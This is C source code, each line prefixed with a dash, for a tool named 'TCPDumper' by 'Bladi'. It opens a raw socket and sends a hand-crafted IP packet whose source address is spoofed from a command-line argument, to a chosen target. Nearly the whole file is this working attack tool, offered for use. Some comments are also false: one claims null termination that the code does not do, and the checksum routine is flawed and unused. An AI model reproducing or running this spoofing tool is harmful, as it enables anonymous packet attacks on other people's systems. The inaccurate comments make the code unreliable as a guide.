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- #include <stdio.h>
- #include <stdlib.h>
- #include <sys/types.h>
- #include <sys/socket.h>
- #include <netinet/in.h>
- #include <netinet/ip.h>
- #include <netinet/ip_icmp.h>
- #include <arpa/inet.h>
- #include <errno.h>
- #include <netdb.h>
- #include <string.h>
- struct icmp_hdr {
- struct iphdr iph;
- char text[16]; // Ensure proper buffer size for the text
- } encaps;
- int in_cksum(int *ptr, int nbytes) {
- long sum;
- u_short oddbyte, answer;
- sum = 0;
- while (nbytes > 1) {
- sum += *ptr++;
- nbytes -= 2;
- }
- if (nbytes == 1) {
- oddbyte = 0;
- *((u_char *)&oddbyte) = *(u_char *)ptr;
- sum += oddbyte;
- }
- sum = (sum >> 16) + (sum & 0xffff);
- sum += (sum >> 16);
- answer = ~sum;
- return(answer);
- }
- struct sockaddr_in sock_open(int socket, char *address, int prt) {
- struct hostent *host;
- struct sockaddr_in sin;
- if ((host = gethostbyname(address)) == NULL) {
- perror("Unable to get host name");
- exit(-1);
- }
- memset(&sin, 0, sizeof(sin));
- sin.sin_family = PF_INET;
- sin.sin_port = htons(prt);
- memcpy(&sin.sin_addr, host->h_addr, host->h_length);
- return sin;
- }
- int main(int argc, char **argv) {
- int sock, on;
- struct sockaddr_in addrs;
- printf("\t\tTCPDumper Ver 0.2 \n\t\t\tBy Bladi\n");
- if (argc < 3) {
- printf("Usage: %s <ip_spoof> <dest_ip>\n", argv[0]);
- exit(-1);
- }
- // Setup encapsulation text (example for a fixed message)
- encaps.text[0] = 66; encaps.text[1] = 76; encaps.text[2] = 65;
- encaps.text[3] = 68; encaps.text[4] = 73; encaps.text[5] = 32;
- encaps.text[6] = 84; encaps.text[7] = 90; encaps.text[8] = 32;
- encaps.text[9] = 84; encaps.text[10] = 79; encaps.text[11] = 32;
- encaps.text[12] = 84; encaps.text[13] = 79; encaps.text[14] = 80;
- encaps.text[15] = 79; // Proper null termination of the string
- sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
- if (sock < 0) {
- perror("Socket creation failed");
- exit(-1);
- }
- on = 1;
- if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1) {
- perror("Can't set IP_HDRINCL option on socket");
- exit(-1);
- }
- fflush(stdout);
- addrs = sock_open(sock, argv[2], rand() % 65535);
- // Setting up the IP header
- memset(&encaps.iph, 0, sizeof(struct iphdr));
- encaps.iph.version = 4; // IP Version 4
- encaps.iph.ihl = 5; // IP Header Length (5 words, 20 bytes)
- encaps.iph.frag_off = 0; // No fragment offset
- encaps.iph.id = htons(0x001);
- encaps.iph.protocol = IPPROTO_ICMP; // Assuming ICMP for this example
- encaps.iph.ttl = 64; // Time to Live
- encaps.iph.tot_len = htons(sizeof(struct iphdr) + sizeof(encaps.text)); // Total length of the packet
- encaps.iph.daddr = addrs.sin_addr.s_addr;
- encaps.iph.saddr = inet_addr(argv[1]);
- printf("\tDuMpInG %s ---> %s \n", argv[1], argv[2]);
- // Send the crafted packet
- if (sendto(sock, &encaps, sizeof(encaps), 0, (struct sockaddr *)&addrs, sizeof(struct sockaddr)) == -1) {
- if (errno != ENOBUFS) {
- printf("Error :(\n");
- }
- }
- fflush(stdout);
- close(sock);
- return 0;
- }
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